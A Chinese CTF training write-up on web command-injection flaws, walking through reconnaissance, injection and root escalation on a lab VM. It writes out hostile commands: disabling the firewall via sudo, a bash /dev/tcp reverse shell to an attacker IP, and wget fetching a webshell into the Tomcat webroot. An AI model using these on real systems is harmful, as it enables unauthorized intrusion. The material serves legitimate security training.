ctf训练 web安全命令执行漏洞
命令执行漏洞介绍
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。
调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,又没有过滤用户的输入的情况下,就会造成命令执行漏洞。
实验环境
一台kail攻击机 和 靶机
靶机镜像:https://pan.baidu.com/s/19k8jz7VARhFW3LYw8U6T9w
提取码:97qz
安装打开靶机(使用Oracle VM VirtualBox打开):
(注意:靶机用桥接模式则攻击机也用桥接模式,注意检查!!!!)
接下来发现没法登陆,也没有办法获取ip地址
所以我们在kail下
进入控制台
使用netdiscover命令 netdiscover -r ip/子网掩码 命令来探测靶机
这里我们就探测出靶机ip为192.168.43.187
本机ip为192.168.43.96
信息探测
扫描主机服务信息以及服务版本
– nmap -sV靶场IP地址
快速扫描主机全部信息
– nmap -T4 -A -v靶场lP地址
探测敏感信息
– nikto -host http://靶场IP地址:端口
这里开放http服务的是8080端口,所以这里我们端口 号跟8080,这个是在上面信息探测出来的结果
发现可疑目录,
/test.jsp
深入挖掘
分析nmap 、nikto扫描结果,并对结果进行分析,挖掘可以利用的信息;
使用浏览器打开http://ip:port/敏感页面,查看敏感信息,找到可利用的位置;
访问
这里我们想着把之前发现的可疑目录加上然后访问
按照提示,我们输入ls -l/tmp,可以看到页面返回了一些东西,存在着命令执行漏洞
漏洞利用
查看临时缓冲目录: ls -alh /tmp/
查看home目录,挖掘用户信息:ls -alh /home/
发现了用户名bill
查看具体用户的目录:ls -alh /home/用户名/
这里最后一行我们可以看到具有ssh服务,可以使用sudo来拿到root
查看系统信息:uname -a
查看到了靶机系统 的信息,为ubuntu系统
利用ssh命令执行root权限命令
使用ssh用户名@localhost通过ssh登录服务器是不需要身份验证的;
查看bill用户sudo命令的权限:ssh bill@localhost sudo -I
关闭防火墙:ssh bill@localhost sudo ufw disable
反弹shell
监听4444端口
nc -lvp 4444
靶场机器反弹shell
ssh bill@localhost sudo bash -i >& /dev/tcp/攻击机ip/4444 0>&1
已经拿到了shell了
渗透测试技巧
开启python简易http服务器
python -m SimpleHTTPServer
利用命令执行下载木马文件
ssh bill@localhost sudo wget “http://ip:port/shell,isp” -O/var /lib/tomcat8/webapps/ROOT/shell.isp
获取Flag
一般情况下,靶场机器的flag值是存放在服务器的根目录下,/root/目录。
cd /root/
ls
cat flag
总结:
在cTf比赛中,命令执行漏洞具有很多过滤机制。对于开放ssh服务的靶场机器,可以采取以上方法进行渗透靶场机器。如果没有开放ssh服务,则需要利用绕过过滤技巧来达到命令执行的目的。